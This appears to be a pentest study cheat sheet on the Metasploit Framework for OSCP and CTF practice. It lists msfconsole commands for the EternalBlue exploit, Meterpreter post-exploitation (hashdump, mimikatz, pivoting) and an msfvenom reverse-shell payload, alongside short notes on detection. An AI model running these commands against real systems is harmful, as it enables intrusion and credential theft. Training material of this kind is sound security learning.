Metasploit
The Metasploit Framework is the best-known exploitation platform: an arsenal of exploits, payloads, and auxiliary modules with a common interface. It speeds up exploitation and post-exploitation, though in settings like the OSCP it’s worth knowing how to do it “by hand” too (see the Pwn/Reversing and Windows & AD areas).
Concepts
Section titled “Concepts”Exploit code that leverages a vuln to run a payloadPayload what runs after exploiting (shell, Meterpreter, command)Auxiliary modules that don't exploit: scanners, fuzzers, enumeration, DoSEncoder obfuscate payloads (today ineffective against EDR, see mal-evasion)Post post-exploitation modules (collection, pivoting, persistence)Meterpreter an advanced in-memory payload with many capabilitiesBasic flow (msfconsole)
Section titled “Basic flow (msfconsole)”msfconsolesearch <service/CVE> # find modulesuse exploit/windows/smb/ms17_010_eternalblueshow options # see required parametersset RHOSTS 10.10.10.10 ; set LHOST <your_ip>set PAYLOAD windows/x64/meterpreter/reverse_tcprun (or exploit) # launchMeterpreter (post-exploitation)
Section titled “Meterpreter (post-exploitation)”sysinfo ; getuid # system and user infohashdump # dump hashes (see ad-creds)migrate <pid> # migrate to another processportfwd / route # pivoting to internal networks (see ad-lateral)background / sessions # manage sessionsload kiwi # integrated mimikatzAuxiliary modules and msfvenom
Section titled “Auxiliary modules and msfvenom”auxiliary/scanner/... # scanning/enumeration (smb, ssh, http...)msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=.. LPORT=.. -f exe > s.exe # generate standalone payloads (note: heavily detected by AV/EDR, see mal-evasion)handler (exploit/multi/handler) # receive connections from payloadsWhen (and when not) to use it
Section titled “When (and when not) to use it”- fast and powerful for known exploits and post-exploitation/pivoting- in OSCP: LIMITED use in the exam -> learn to exploit and pivot by hand too- raw msfvenom payloads are heavily detected (evasion: see mal-evasion)- in CTF, "by hand" is sometimes more reliable and educational than a moduleBlue Team / use
Section titled “Blue Team / use”- Metasploit speeds up exploitation and post-exploitation (Meterpreter, pivoting) with a common interface.
- Knowing how to do it by hand also matters (OSCP limits it; CTF sometimes prefers it).
- msfvenom payloads are heavily detected: for real evasion, see mal-evasion.
- For the defender: Meterpreter/msfvenom signatures are known IOCs (EDR / XDR, dfir).
Tips and gotchas
Section titled “Tips and gotchas”db_nmap+ workspaces keep things organized; usesetgfor global vars (LHOST, etc.).- Common mistake: forgetting
set PAYLOAD/set LHOSTor using an already-detected payload; Meterpreter trips almost any EDR. - In real pentests use it cautiously due to detectability; for mature red teams, a dedicated C2 (see Command & Control).
sessions -uto upgrade to Meterpreter;migrateto a stable process;resourcescripts to automate.
Testing checklist
Section titled “Testing checklist”- Identify the right exploit/module (search)
- Configure options (RHOSTS/LHOST/PAYLOAD) correctly
- Handler ready to receive the session
- Post-exploitation with Meterpreter (hashdump, migrate, pivoting)
- Consider doing it by hand (OSCP/CTF) and the detectability
- msfvenom only with evasion awareness (Defense Evasion)
- Document for the report